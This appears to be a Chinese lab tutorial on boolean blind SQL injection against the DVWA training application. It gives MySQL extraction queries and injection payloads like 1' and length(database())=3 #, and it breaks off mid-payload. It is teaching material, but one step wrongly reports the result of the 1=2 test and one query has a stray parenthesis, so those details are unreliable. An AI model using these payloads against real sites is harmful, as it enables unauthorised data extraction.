1盲注基础sql实验
cet 192.168.121.1
win 192.168.121.2
首先登入cet 进入数据库
然后在mysql客户端输入以下命令
use dvwa ;
得到当前数据库名称
select database();
得到截取当前数据库第一个字符
select substr(database(),1,1));
得到截取当前数据库的第一个字符的asscii
select ascii(substr(database(),1,1));
得到截取当前数据库的第一个字符的ascii值是否大于97
然在盲注情况下,从页面上只能判断1,0的情况,那么我们可以对databae()的结果截取一个字符,转换成ascii后进行运算,根据true或false的结果确认截取的这个字符的ASCII码,然后在将这个ascii码转换成字符,从而得到database()里面的第一个值。依次类推,得到所有结果
接着登陆浏览器访问dvwa 192.168.121.1
默认用户admin密码password
开始盲注
把dvwa设置成安全low级别
点击sql(blind)
查看源码
可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,‘User ID exists in the database’与‘User ID is MISSING from the database.’,因此这里是SQL盲注漏洞
1:布尔盲注
判断是否存在注入,注入是字符型还是数字型 输入1 显示相应用户存在
输入1' and 1=1 # 显示存在
输入1’ and 1=2 # 显示存在
说明存在字符型的sql盲注
1:猜解当前数据库
输入1’ and length(database())=1 #,显示不存在;
输入1’ and length(database())=2 #,显示不存在;
输入1’ and length(database())=3 #,显示不存在;
输入1’ and length(database())=